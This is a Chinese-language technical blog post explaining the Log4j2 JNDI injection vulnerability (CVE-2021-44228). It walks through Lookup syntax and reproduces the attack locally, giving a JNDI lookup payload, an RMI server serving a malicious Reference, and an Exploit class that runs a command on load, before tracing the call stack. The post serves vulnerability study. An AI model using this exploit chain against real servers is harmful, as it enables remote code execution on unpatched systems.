0%

Log4j2的JNDI注入漏洞(CVE-2021-44228)

Log4j2的JNDI注入漏洞(CVE-2021-44228)

什么是Log4j2?

Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。

因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:

  1. Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar
  2. Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
  3. Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j

Log4j2 Lookup

Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。

下面是一个简单的Java Lookup例子和输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j2Lookup {
public static final Logger LOGGER = LogManager.getLogger(Log4j2Lookup.class);

public static void main(String[] args) {
ThreadContext.put("userId", "test");
LOGGER.error("userId: ${ctx:userId}");
}
}

需要在resources文件夹下添加一个log4j2.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>

<configuration status="error">
<appenders>
<!-- 配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
<Console name="Console" target="SYSTEM_OUT" >
<!-- 配置Console的模式布局-->
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
</Console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>

输出如下:

1
2023-08-10 15:39:58.959 [main] ERROR org.example.Log4j2Lookup - userId: test

从上面的例子可以看到,通过在日志字符串中加入”${ctx:userId}”,Log4j2在输出日志时,会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似”${type:var}”,即可以实现对变量var的引用。type可以是如下值:

  • ctx:允许程序将数据存储在 Log4j ThreadContextMap 中,然后在日志输出过程中,查找其中的值。
  • env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:${env:USER}
  • java:允许查找Java环境配置信息。例如:${java:version}
  • jndi:允许通过 JNDI 检索变量。
  • ……

其中和本次漏洞相关的便是jndi,例如:${jndi:rmi//127.0.0.1:1099/a},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/a上的变量内容。

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RCEPoc {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

public static void main(String[] args) {
LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
}
}

rmi服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8081/");
ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);
registry.bind("exp", exploitWrapper);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
public class Exploit {
static {
String cmd = "calc";
final Process process;
try {
process = Runtime.getRuntime().exec(cmd);
process.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}

在Exploit.class目录下开启http服务

img

漏洞原理

由于是JNDI注入,因此可以通过在InitialContext.lookup(String name)方法上设置断点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:

img

由于比较多,并且前面较为单调,所以我们只分析几个关键的地方

首先由LOGGER.error方法最终会调用到MessagePatternConverter的format方法。

img

该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor的replace方法进行进一步解析,跟进

img

继续调用substitute方法

img

继续调用一个重载方法,然后到这里

img

对${}中的内容进行了提取,并赋值给了varName参数,然后调用了resolveVariable方法,跟进

img

调用了Interpolator的lookup方法

img

根据前缀,也就是jndi找到相应的lookup类,然后调用其lookup方法,跟进

img

继续调用jndiManager.lookup方法

img

调用InitialContext.lookup方法,这之后就和正常的JNDI注入一样了